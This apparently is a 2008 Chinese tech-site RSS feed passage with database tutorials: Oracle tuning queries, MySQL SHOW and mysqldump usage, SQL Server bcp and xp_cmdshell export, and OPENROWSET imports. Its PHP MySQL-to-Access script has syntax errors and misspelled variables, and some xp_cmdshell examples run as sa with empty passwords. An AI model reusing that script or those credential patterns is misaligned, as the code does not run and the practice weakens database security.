中重做日志缓存区的命中率，应该小于1%<br/><br/>Sel&#101;ct name, gets, misses, immediate_gets, immediate_misses,<br/>Decode(gets,0,0,misses/gets*100) ratio1,<br/>Decode(immediate_gets+immediate_misses,0,0,<br/>immediate_misses/(immediate_gets+immediate_misses)*100) ratio2<br/>FROM v$latch Wh&#101;re name IN (&#39;redo allocation&#39;, &#39;redo copy&#39;); <br/><br/>11.&nbsp;&nbsp;监控内存和硬盘的排序比率，最好使它小于 .10，增加 sort_area_size <br/><br/>Sel&#101;ct name, value FROM v$sysstat Wh&#101;re name IN (&#39;sorts (memory)&#39;, &#39;sorts (disk)&#39;); <br/><br/><br/>12. 监控当前数据库谁在运行什么SQL语句<br/><br/>Sel&#101;ct osuser, username, sql_text from v$session a, v$sqltext b<br/>wh&#101;re a.sql_address =b.address o&#114;der by address, piece;<br/><br/>13. 监控字典缓冲区<br/><br/>Sel&#101;ct (SUM(PINS - RELOADS)) / SUM(PINS) &#34;LIB CACHE&#34; FROM V$LIBRARYCACHE;<br/>Sel&#101;ct (SUM(GETS - GETMISSES - USAGE - FIXED)) / SUM(GETS) &#34;ROW CACHE&#34; FROM V$ROWCACHE;<br/>Sel&#101;ct SUM(PINS) &#34;EXECUTIONS&#34;, SUM(RELOADS) &#34;CACHE MISSES WHILE EXECUTING&#34; FROM V$LIBRARYCACHE; <br/><br/>后者除以前者,此比率小于1%,接近0%为好。<br/><br/>Sel&#101;ct SUM(GETS) &#34;DICTIONARY GETS&#34;,SUM(GETMISSES) &#34;DICTIONARY CACHE GET MISSES&#34;<br/>FROM V$ROWCACHE<br/><br/>14. 找ORACLE字符集<br/><br/>sel&#101;ct * from sys.props$ wh&#101;re name=&#39;NLS_CHARACTERSET&#39;; <br/><br/>15. 监控 MTS<br/><br/>sel&#101;ct busy/(busy+idle) &#34;shared servers busy&#34; from v$dispatcher;<br/><br/>此值大于0.5时，参数需加大<br/><br/>sel&#101;ct sum(wait)/sum(totalq) &#34;dispatcher waits&#34; from v$queue wh&#101;re type=&#39;dispatcher&#39;;<br/>sel&#101;ct count(*) from v$dispatcher;<br/>sel&#101;ct servers_highwater from v$mts;<br/><br/>servers_highwater接近mts_max_servers时，参数需加大<br/><br/>16. 碎片程度<br/><br/>sel&#101;ct tablespace_name,count(tablespace_name) from dba_free_space group by tablespace_name <br/>having count(tablespace_name)&gt;10;<br/><br/>alt&#101;r tablespace name coalesce;<br/>alt&#101;r table name deallocate unused;<br/><br/>cr&#101;ate o&#114; replace view ts_blocks_v as<br/>sel&#101;ct tablespace_name,block_id,bytes,blocks,&#39;free space&#39; segment_name from dba_free_space<br/>union all<br/>sel&#101;ct tablespace_name,block_id,bytes,blocks,segment_name from dba_extents;<br/><br/>sel&#101;ct * from ts_blocks_v;<br/><br/>sel&#101;ct tablespace_name,sum(bytes),max(bytes),count(block_id) from dba_free_space <br/>group by tablespace_name;<br/><br/>查看碎片程度高的表<br/><br/>Sel&#101;ct segment_name table_name , COUNT(*) extents<br/>FROM dba_segments Wh&#101;re owner NOT IN (&#39;SYS&#39;, &#39;SYSTEM&#39;) GROUP BY segment_name<br/>HAVING COUNT(*) = (Sel&#101;ct MAX( COUNT(*) ) FROM dba_segments GROUP BY segment_name);<br/><br/>17. 表、索引的存储情况检查<br/><br/>sel&#101;ct segment_name,sum(bytes),count(*) ext_quan from dba_extents wh&#101;re <br/>tablespace_name=&#39;&amp;tablespace_name&#39; and segment_type=&#39;TABLE&#39; group by tablespace_name,segment_name;<br/><br/>sel&#101;ct segment_name,count(*) from dba_extents wh&#101;re segment_type=&#39;INDEX&#39; and owner=&#39;&amp;owner&#39;<br/>group by segment_name;<br/><br/>18、找使用CPU多的用户session<br/><br/>12是cpu used by this session<br/><br/>sel&#101;ct a.sid,spid,status,substr(a.program,1,40) prog,a.terminal,osuser,value/60/100 value<br/>from v$session a,v$process b,v$sesstat c<br/>wh&#101;re c.statistic#=12 and c.sid=a.sid and a.paddr=b.addr o&#114;der by value desc;<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2432.htm</link>
			<title><![CDATA[MySQL show的用法]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Tue,14 Oct 2008 16:03:55 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2432</guid>
		<description><![CDATA[a. show tables或show tables from database_name; // 显示当前数据库中所有表的名称<br/><br/>&nbsp;&nbsp; b. show databases; // 显示mysql中所有数据库的名称<br/><br/>&nbsp;&nbsp; c. show columns from table_name from database_name; 或show columns from database_name.table_name;&nbsp;&nbsp; // 显示表中列名称<br/><br/>&nbsp;&nbsp; d. show grants for user_name@localhost;&nbsp;&nbsp; //&nbsp;&nbsp; 显示一个用户的权限，显示结果类似于grant 命令<br/><br/>&nbsp;&nbsp; e. show index from table_name;&nbsp;&nbsp; // 显示表的索引<br/><br/>&nbsp;&nbsp; f. show status;&nbsp;&nbsp; // 显示一些系统特定资源的信息，例如，正在运行的线程数量<br/><br/>&nbsp;&nbsp; g. show variables; // 显示系统变量的名称和值<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp; h. show&nbsp;&nbsp; processlist; // 显示系统中正在运行的所有进程，也就是当前正在执行的查询。大多数用户可以查看<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 他们自己的进程，但是如果他们拥有process权限，就可以查看所有人的进程，包括密码。<br/><br/>&nbsp;&nbsp; i. show table status; // 显示当前使用或者指定的database中的每个表的信息。信息包括表类型和表的最新更新时间<br/><br/>&nbsp;&nbsp; j. show privileges;&nbsp;&nbsp; // 显示服务器所支持的不同权限<br/><br/>&nbsp;&nbsp; k. show cr&#101;ate database database_name; // 显示cr&#101;ate database 语句是否能够创建指定的数据库<br/><br/>&nbsp;&nbsp; l. show cr&#101;ate table table_name; // 显示cr&#101;ate database 语句是否能够创建指定的数据库<br/><br/>&nbsp;&nbsp; m. show engies;&nbsp;&nbsp; // 显示安装以后可用的存储引擎和默认引擎。<br/><br/>&nbsp;&nbsp; n. show innodb status; // 显示innoDB存储引擎的状态<br/><br/>&nbsp;&nbsp; o. show logs; // 显示BDB存储引擎的日志 <br/><br/>&nbsp;&nbsp; p. show warnings; // 显示最后一个执行的语句所产生的错误、警告和通知<br/><br/>&nbsp;&nbsp; q. show errors; // 只显示最后一个执行语句所产生的错误]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2421.htm</link>
			<title><![CDATA[mysql数据复制到access数据库]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Sun,12 Oct 2008 09:53:54 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2421</guid>
		<description><![CDATA[mysql数据库表sqltable <br/>字段id，name，sex，email <br/><br/>access数据库表accesstable <br/>id，name，sex，email <br/><br/>&lt;?&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$connect = mysql_connect(&#34;localhost&#34;,&#34;&#34;,&#34;&#34;);&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;mysql_sel&#101;ct_db(&#34;mydatabase&#34;);&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$sql = &#34;sel&#101;ct * from sqltable; <br/>&nbsp;&nbsp;&nbsp;&nbsp;$result = mysql_query($sql};&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$connectodbc=odbc_connect(&#34;DSN&#34;,&#34;USERNAME&#34;,&#34;PASSWORD&#34;);&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while($row = mysql_fetch_row($result)) <br/>&nbsp;&nbsp;&nbsp;&nbsp;{ <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$sql=&#34;ins&#101;rt into accesstable&nbsp;&nbsp;<br/><br/>values($row[&#34;id&#34;,$row[&#34;name&#34;,$row[&#34;sex&#34;],$row[&#34;email&#34;])&#34;;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;odbc_do($connectodbc,$sql);&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;odbc_close($connectodbc); <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mysql_close($conect); <br/>?&gt;&nbsp;&nbsp;]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2417.htm</link>
			<title><![CDATA[最简便的备份MySql数据库方法]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Sun,12 Oct 2008 09:49:48 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2417</guid>
		<description><![CDATA[使用MYSQL进行数据库备份，有很正规的数据库备份方法，同其他的数据库服务器有相同的概念，但有没有想过，MySQL会有更简捷的使用文件目录的备份方法，而且又快有好。 　　 <br/><br/>　　一、数据备份捷径 　　 <br/><br/>　　因为这个方法没有得到官方正式文档的验证，我们暂称为试验吧。 　　 <br/><br/>　　目的：备份hostA主机中一个mysql数据库TestA，并恢复到到hostB机中 　 <br/><br/>　　试验环境： 　　 <br/><br/>　　操作系统：WinNT4.0，Mysql3.22.34，phpMyAdmin 2.1.0 　　 <br/><br/>　　在hostA中安装mysql数据库并建立TestA数据库 　 <br/><br/>　　hostB机安装mysql数据库，没有TestA数据库 　 <br/><br/>　　方法步骤： 　　 <br/><br/>　　启动phpMyAdmin察看HostA和HostB中的数据库列表，在HostB中没有TestA数据库 　　 <br/><br/>　　找到HostA中mysql的安装目录，并找到数据库目录data 　　 <br/><br/>　　在我的试验环境中，这个目录是 　　 <br/><br/>　　C:mysqldata 　　 <br/><br/>　　找到对应数据库名称的子目录 　　 <br/><br/>　　C:mysqldataTestA 　　 <br/><br/>　　粘贴拷贝到HostB的Data目录下，是HostA同HostB Mysql数据目录下的文件相同 　　 <br/><br/>　　刷新HostB的phpMyAdmin察看一下数据库列表，我们看到TestA已经出现，并且作查询修改等操作都正常，备份恢复恢复成功 　　 <br/><br/>　　试验结论：Mysql的数据库可以通过文件形式保存，备份，恢复只要将相应文件目录恢复即可，无需使用其它工具备份。 　　 <br/><br/>　　二、正规的方法（官方建议）： 　　 <br/><br/>　　导出要用到MySQL的mysqldump工具，基本用法是： 　　 <br/><br/>　　mysqldump [OPTIONS] database [tables] 　 <br/><br/>　　如果你不给定任何表，整个数据库将被导出。　　 <br/><br/>　　通过执行mysqldump --help，你能得到你mysqldump的版本支持的选项表。 　　 <br/><br/>　　注意，如果你运行mysqldump没有--quick或--opt选项，mysqldump将在导出结果前装载整个结果集到内存中，如果你正在导出一个大的数据库，这将可能是一个问题。 　 <br/><br/>　　mysqldump支持下列选项： 　 <br/><br/>　　--add-locks 　　 <br/><br/>　　在每个表导出之前增加LOCK TABLES并且之后UNLOCK TABLE。(为了使得更快地插入到MySQL)。 　 <br/><br/>　　--add-dro&#112;-table 　　 <br/><br/>　　在每个cr&#101;ate语句之前增加一个dro&#112; table。 　 <br/><br/>　　--allow-keywords 　　 <br/><br/>　　允许创建是关键词的列名字。这由在列名前面加表名的方法做到。 　　 <br/><br/>　　-c, --complete-ins&#101;rt 　　 <br/><br/>　　使用完整的ins&#101;rt语句(用列名字)。 　　 <br/><br/>　　-C, --compress 　　 <br/><br/>　　如果客户和服务器均支持压缩，压缩两者间所有的信息。 　　 <br/><br/>　　--delayed 　　 <br/><br/>　　用Ins&#101;rt DELAYED命令插入行。 　　 <br/><br/>　　-e, --extended-ins&#101;rt 　　 <br/><br/>　　使用全新多行Ins&#101;rt语法。（给出更紧缩并且更快的插入语句） 　　 <br/><br/>　　-#, --debug[=option_string] 　　 <br/><br/>　　跟踪程序的使用(为了调试)。 　　 <br/><br/>　　--help 　　 <br/><br/>　　显示一条帮助消息并且退出。 　 <br/><br/>　　--fields-terminated-by=... 　　 <br/><br/>　　--fields-enclosed-by=... 　　 <br/><br/>　　--fields-optionally-enclosed-by=... 　　 <br/><br/>　　--fields-escaped-by=... 　　 <br/><br/>　　--fields-terminated-by=... 　<br/><br/>这些选择与-T选择一起使用，并且有相应的LOAD DATA INFILE子句相同的含义。 　　 <br/><br/>　　LOAD DATA INFILE语法。 　　 <br/><br/>　　-F, --flush-logs 　 <br/><br/>　　在开始导出前，洗掉在MySQL服务器中的日志文件。 　　 <br/><br/>　　-f, --force, 　　 <br/><br/>　　即使我们在一个表导出期间得到一个SQL错误，继续。 　　 <br/><br/>　　-h, --host=.. 　　 <br/><br/>　　从命名的主机上的MySQL服务器导出数据。缺省主机是localhost。 　　 <br/><br/>　　-l, --lock-tables. 　　 <br/><br/>　　为开始导出锁定所有表。 　 <br/><br/>　　-t, --no-cr&#101;ate-info 　　 <br/><br/>　　不写入表创建信息(Cr&#101;ate TABLE语句） 　　 <br/><br/>　　-d, --no-data 　　 <br/><br/>　　不写入表的任何行信息。如果你只想得到一个表的结构的导出，这是很有用的！ 　　 <br/><br/>　　--opt 　　 <br/><br/>　　同--quick --add-dro&#112;-table --add-locks --extended-ins&#101;rt --lock-tables。 　　 <br/><br/>　　应该给你为读入一个MySQL服务器的尽可能最快的导出。 　 <br/><br/>　　-pyour_pass, --password[=your_pass] 　　 <br/><br/>　　与服务器连接时使用的口令。如果你不指定“=your_pass”部分，mysqldump需要来自终端的口令。 　　 <br/><br/>　　-P port_num, --port=port_num 　　 <br/><br/>　　与一台主机连接时使用的TCP/IP端口号。（这用于连接到localhost以外的主机，因为它使用 Unix套接字。） 　　 <br/><br/>　　-q, --quick 　　 <br/><br/>　　不缓冲查询，直接导出至stdout；使用mysql_use_result()做它。 　　 <br/><br/>　　-S /path/to/socket, --socket=/path/to/socket 　　 <br/><br/>　　与localhost连接时（它是缺省主机)使用的套接字文件。 　　 <br/><br/>　　-T, --tab=path-to-some-directory 　 <br/><br/>　　对于每个给定的表，创建一个table_name.sql文件，它包含SQL Cr&#101;ate 命令，和一个table_name.txt文件，它包含数据。 注意：这只有在mysqldump运行在mysqld守护进程运行的同一台机器上的时候才工作。.txt文件的格式根据--fields-xxx和--lines--xxx选项来定。 　　 <br/><br/>　　-u user_name, --user=user_name 　　 <br/><br/>　　与服务器连接时，MySQL使用的用户名。缺省值是你的Unix登录名。 　　 <br/><br/>　　-O var=option, --set-variable var=option 　　 <br/><br/>　　设置一个变量的值。可能的变量被列在下面。 　　 <br/><br/>　　-v, --verbose 　　 <br/><br/>　　冗长模式。打印出程序所做的更多的信息。 　　 <br/><br/>　　-V, --version 　 <br/><br/>　　打印版本信息并且退出。 　　 <br/><br/>　　-w, --wh&#101;re=&#39;wh&#101;re-condition&#39; 　　 <br/><br/>　　只导出被选择了的记录；注意引号是强制的！ 　　 <br/><br/>　　&#34;--wh&#101;re=user=&#39;jimf&#39;&#34; &#34;-wuserid&gt;1&#34; &#34;-wuserid&lt;1&#34; 　　 <br/><br/>　　最常见的mysqldump使用可能制作整个数据库的一个备份： 　　 <br/><br/>　　mysqldump --opt database &gt; backup-file.sql 　　 <br/><br/>　　但是它对用来自于一个数据库的信息充实另外一个MySQL数据库也是有用的： 　　 <br/><br/>　　mysqldump --opt database 　 mysql --host=remote-host -C database 　　 <br/><br/>　　由于mysqldump导出的是完整的SQL语句，所以用mysql客户程序很容易就能把数据导入了： 　　 <br/><br/>　　mysqladmin cr&#101;ate target_db_name 　　 <br/><br/>　　mysql target_db_name &lt; backup-file.sql <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2401.htm</link>
			<title><![CDATA[sel&#101;ct 语句的执行顺序]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Thu,09 Oct 2008 15:30:52 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2401</guid>
		<description><![CDATA[学的东西太多了~ 真怕自己 记错或者忘记~~ 写写笔记还是好的~！<br/><br/>1. FROM <br/>2. Wh&#101;re <br/>3. GROUP BY <br/>4. HAVING <br/>5. Sel&#101;ct <br/>6. o&#114;DER BY <br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2177.htm</link>
			<title><![CDATA[MYSQL的数据倒入倒出]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,06 Aug 2008 22:28:06 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2177</guid>
		<description><![CDATA[1.导出整个数据库<br/><br/>　　mysqldump -u 用户名 -p 数据库名 &gt; 导出的文件名<br/><br/>　　mysqldump -u wcnc -p smgp_apps_wcnc &gt; wcnc.sql<br/><br/>　　2.导出一个表<br/><br/>　　mysqldump -u 用户名 -p 数据库名 表名&gt; 导出的文件名<br/><br/>　　mysqldump -u wcnc -p smgp_apps_wcnc users&gt; wcnc_users.sql<br/><br/>　　3.导出一个数据库结构<br/><br/>　　mysqldump -u wcnc -p -d --add-dro&#112;-table smgp_apps_wcnc &gt;d:\wcnc_db.sql<br/><br/>　　-d 没有数据 --add-dro&#112;-table 在每个cr&#101;ate语句之前增加一个dro&#112; table<br/><br/>　　4.导入数据库<br/><br/>　　常用source 命令<br/><br/>　　进入mysql数据库控制台，<br/><br/>　　如mysql -u root -p<br/><br/>　　mysql&gt;use 数据库<br/><br/>　　然后使用source命令，后面参数为脚本文件(如这里用到的.sql)<br/><br/>　　mysql&gt;source d:\wcnc_db.sql<br/><br/>我最常用的是第四种方法，其次就是用navicat自带的恢复数据库的功能<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2176.htm</link>
			<title><![CDATA[将ACCESS数据库转换成MSSQL]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,06 Aug 2008 22:26:10 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2176</guid>
		<description><![CDATA[<div class="content">
<p>今天有个朋友问我怎样将ACC数据库转换成SQL的,其实在MSSQL中有自带的功能,可以把其他的数据库中的内容导入........看下面的操作.......</p>
<p>打开管理工具-&gt;数据源(ODBC)<br />
<a target="_blank" href="http://www.qxhonker.cn/attachment.php?id=90"><img height="368" alt="大小: 32.93 K
尺寸: 455 x 368
浏览: 14 次
点击打开新窗口浏览全图" src="http://www.qxhonker.cn/attachments/date_200804/12022262bc1620ae855d59d1657744e9.jpg" width="455" border="0" /></a><br />
<a target="_blank" href="http://www.qxhonker.cn/attachment.php?id=91"><img height="335" alt="大小: 42.17 K
尺寸: 463 x 335
浏览: 10 次
点击打开新窗口浏览全图" src="http://www.qxhonker.cn/attachments/date_200804/44f194c024c06fd87b34a9d2f8e6c6d4.jpg" width="463" border="0" /></a><br />
<a target="_blank" href="http://www.qxhonker.cn/attachment.php?id=92"><img height="285" alt="大小: 24.37 K
尺寸: 465 x 285
浏览: 13 次
点击打开新窗口浏览全图" src="http://www.qxhonker.cn/attachments/date_200804/dbec31192485f26fe65a494d003980d9.jpg" width="465" border="0" /></a><br />
<a target="_blank" href="http://www.qxhonker.cn/attachment.php?id=93"><img height="368" alt="大小: 34.84 K
尺寸: 454 x 368
浏览: 13 次
点击打开新窗口浏览全图" src="http://www.qxhonker.cn/attachments/date_200804/39ce7f46df86d629f1fcfaddcc80f22a.jpg" width="454" border="0" /></a><br />
创建好数据源之后,就可以进行导入了.....</p>
<p>在目的数据库上右键-&gt;所有任务-&gt;导入数据<br />
<a target="_blank" href="http://www.qxhonker.cn/attachment.php?id=94"><img height="386" alt="大小: 36.54 K
尺寸: 410 x 386
浏览: 11 次
点击打开新窗口浏览全图" src="http://www.qxhonker.cn/attachments/date_200804/278d0affe3f2ffe3aa659b28034efcd0.jpg" width="410" border="0" /></a><br />
选择刚才创建的数据源<br />
<a target="_blank" href="http://www.qxhonker.cn/attachment.php?id=95"><img height="376" alt="大小: 33.11 K
尺寸: 497 x 376
浏览: 11 次
点击打开新窗口浏览全图" src="http://www.qxhonker.cn/attachments/date_200804/43fa1c147e459366092e68962a0e3bf9.jpg" width="497" border="0" /></a><br />
然后一直下一步即可,直到&quot;选择源表和视图&quot;这一步,可以选择access数据库中需要导入的表,不需要的表可以不用导入.........<br />
<a target="_blank" href="http://www.qxhonker.cn/attachment.php?id=96"><img height="367" alt="大小: 29.27 K
尺寸: 453 x 367
浏览: 11 次
点击打开新窗口浏览全图" src="http://www.qxhonker.cn/attachments/date_200804/1c8a52d2c5e05e3e96197c2d89ef4a14.jpg" width="453" border="0" /></a><br />
这样就成功导入了access数据库</p>
<p>上面是根据MSSQL的数据导入向导一步一步做的,其中或许有不对的地方,或者有更好的办法实现相同的目的,希望有人能给我指出,谢谢!~~~~~~MSSQL自带的数据导入导出功能可以实现大多数数据库之间的倒数据...很方便的一看就明白</p>
</div>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2172.htm</link>
			<title><![CDATA[SQL语句导入导出大全]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,06 Aug 2008 21:02:04 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2172</guid>
		<description><![CDATA[1.在&#34;SQL 查询分析器&#34;里:<br/><br/>导出:<br/>EXEC master..xp_cmdshell &#39;bcp &#34;Sel&#101;ct * from pubs..jobs&#34; queryout c:\Out.txt -c -S -U sa -P&#39;<br/><br/>导入:<br/>EXEC master..xp_cmdshell &#39;bcp &#34;pubs..jobs&#34; in c:\Out.txt -c -T&#39;<br/><br/>2.在&#34;isql命令行下&#34;:<br/><br/>建一个文件C:\test.sql<br/>写入查询语句:sel&#101;ct * from pubs<br/>在命令行下：isql -U sa -i sql.sql &gt;Out.txt<br/><br/>3.ACCESS里:<br/><br/>sel&#101;ct * into [TEXT;Database=F:\].out.txt From table<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2171.htm</link>
			<title><![CDATA[SQL Server SQL语句导入导出大全]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,06 Aug 2008 20:21:51 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2171</guid>
		<description><![CDATA[简介：微软SQL Server数据库SQL语句导入导出大全，包括与其他数据库和文件的数据的导入导出。 <br/>　　/*******&nbsp;&nbsp;导出到excel <br/>　　EXEC master..xp_cmdshell ’bcp SettleDB.dbo.shanghu out c:\temp1.xls -c -q -S&#34;GNETDATA/GNETDATA&#34; -U&#34;sa&#34; -P&#34;&#34;’ <br/><br/>　　/***********&nbsp;&nbsp;导入Excel <br/>　　Sel&#101;ct * <br/>　　FROM OpenDataSource( ’Microsoft.Jet.OLEDB.4.0’, <br/>　　&nbsp;&nbsp;’Data Source=&#34;c:\test.xls&#34;;User ID=Admin;Password=;Extended properties=Excel 5.0’)...xactions <br/><br/>　　Sel&#101;ct cast(cast(科目编号 as numeric(10,2)) as nvarchar(255))+’　’ 转换后的别名 <br/>　　FROM OpenDataSource( ’Microsoft.Jet.OLEDB.4.0’, <br/>　　&nbsp;&nbsp;’Data Source=&#34;c:\test.xls&#34;;User ID=Admin;Password=;Extended properties=Excel 5.0’)...xactions <br/><br/>　　/** 导入文本文件 <br/>　　EXEC master..xp_cmdshell ’bcp &#34;dbname..tablename&#34; in c:\DT.txt -c -Sservername -Usa -Ppassword’ <br/><br/>　　/** 导出文本文件 <br/>　　EXEC master..xp_cmdshell ’bcp &#34;dbname..tablename&#34; out c:\DT.txt -c -Sservername -Usa -Ppassword’ <br/>　　或 <br/>　　EXEC master..xp_cmdshell ’bcp &#34;Sel&#101;ct * from dbname..tablename&#34; queryout c:\DT.txt -c -Sservername -Usa -Ppassword’ <br/><br/>　　导出到TXT文本，用逗号分开 <br/>　　exec master..xp_cmdshell ’bcp &#34;库名..表名&#34; out &#34;d:\tt.txt&#34; -c -t ,-U sa -P password’ <br/><br/>　　BULK Ins&#101;rt 库名..表名 <br/>　　FROM ’c:\test.txt’ <br/>　　WITH ( <br/>　　&nbsp;&nbsp;&nbsp;&nbsp;FIELDTERMINATOR = ’;’, <br/>　　&nbsp;&nbsp;&nbsp;&nbsp;ROWTERMINATOR = ’\n’ <br/>　　) <br/><br/>　　--/* dBase IV文件 <br/>　　sel&#101;ct * from <br/>　　OPENROWSET(’MICROSOFT.JET.OLEDB.4.0’ <br/>　　,’dBase IV;HDR=NO;IMEX=2;DATABASE=C:\’,’sel&#101;ct * from [客户资料4.dbf]’) <br/>　　--*/ <br/><br/>　　--/* dBase III文件 <br/>　　sel&#101;ct * from <br/>　　OPENROWSET(’MICROSOFT.JET.OLEDB.4.0’ <br/>　　,’dBase III;HDR=NO;IMEX=2;DATABASE=C:\’,’sel&#101;ct * from [客户资料3.dbf]’) <br/>　　--*/ <br/><br/>　　--/* FoxPro 数据库 <br/>　　sel&#101;ct * from openrowset(’MSDASQL’, <br/>　　’Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:\’, <br/>　　’sel&#101;ct * from [aa.DBF]’) <br/>　　--*/ <br/><br/>　　/**************导入DBF文件****************/ <br/>　　sel&#101;ct * from openrowset(’MSDASQL’, <br/>　　’Driver=Microsoft Visual FoxPro Driver; <br/>　　SourceDB=e:\VFP98\data; <br/>　　SourceType=DBF’, <br/>　　’sel&#101;ct * from customer wh&#101;re country != &#34;USA&#34; o&#114;der by country’) <br/>　　go <br/>　　/***************** 导出到DBF ***************/ <br/>　　如果要导出数据到已经生成结构(即现存的)FOXPRO表中,可以直接用下面的SQL语句 <br/><br/>　　ins&#101;rt into openrowset(’MSDASQL’, <br/>　　’Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:\’, <br/>　　’sel&#101;ct * from [aa.DBF]’) <br/>　　sel&#101;ct * from 表 <br/><br/>　　说明:<br/><br/>　　SourceDB=c:\&nbsp;&nbsp;指定foxpro表所在的文件夹 <br/>　　aa.DBF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;指定foxpro表的文件名. <br/><br/>　　/*************导出到Access********************/ <br/>　　ins&#101;rt into openrowset(’Microsoft.Jet.OLEDB.4.0’, <br/>　　&nbsp;&nbsp; ’x:\A.mdb’;’admin’;’’,A表) sel&#101;ct * from 数据库名..B表 <br/><br/>　　/*************导入Access********************/ <br/>　　ins&#101;rt into B表 selet * from openrowset(’Microsoft.Jet.OLEDB.4.0’, <br/>　　&nbsp;&nbsp; ’x:\A.mdb’;’admin’;’’,A表) <br/>*********************&nbsp;&nbsp;导入 xml　文件 <br/><br/>　　DECLARE @idoc int <br/>　　DECLARE @doc varchar(1000) <br/>　　--sample XML document <br/>　　SET @doc =’ <br/>　　&lt;root&gt; <br/>　　&nbsp;&nbsp;&lt;Customer cid= &#34;C1&#34; name=&#34;Janine&#34; city=&#34;Issaquah&#34;&gt; <br/>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;Order oid=&#34;O1&#34; date=&#34;1/20/1996&#34; amount=&#34;3.5&#34; /&gt; <br/>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;Order oid=&#34;O2&#34; date=&#34;4/30/1997&#34; amount=&#34;13.4&#34;&gt;Customer was very satisfied <br/>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/Order&gt; <br/>　　&nbsp;&nbsp; &lt;/Customer&gt; <br/>　　&nbsp;&nbsp; &lt;Customer cid=&#34;C2&#34; name=&#34;Ursula&#34; city=&#34;Oelde&#34; &gt; <br/>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;Order oid=&#34;O3&#34; date=&#34;7/14/1999&#34; amount=&#34;100&#34; note=&#34;Wrap it blue <br/>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; white red&#34;&gt; <br/>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;Urgency&gt;Important&lt;/Urgency&gt; <br/>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Happy Customer. <br/>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/Order&gt; <br/>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;Order oid=&#34;O4&#34; date=&#34;1/20/1996&#34; amount=&#34;10000&#34;/&gt; <br/>　　&nbsp;&nbsp; &lt;/Customer&gt; <br/>　　&lt;/root&gt; <br/>　　’ <br/>　　-- Cr&#101;ate an internal representation of the XML document. <br/>　　EXEC sp_xml_preparedocument @idoc OUTPUT, @doc <br/><br/>　　-- Execute a Sel&#101;ct statement using OPENXML rowset provider. <br/>　　Sel&#101;ct * <br/>　　FROM OPENXML (@idoc, ’/root/Customer/Order’, 1) <br/>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WITH (oid&nbsp;&nbsp;&nbsp;&nbsp; char(5), <br/>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;amount&nbsp;&nbsp;float, <br/>　　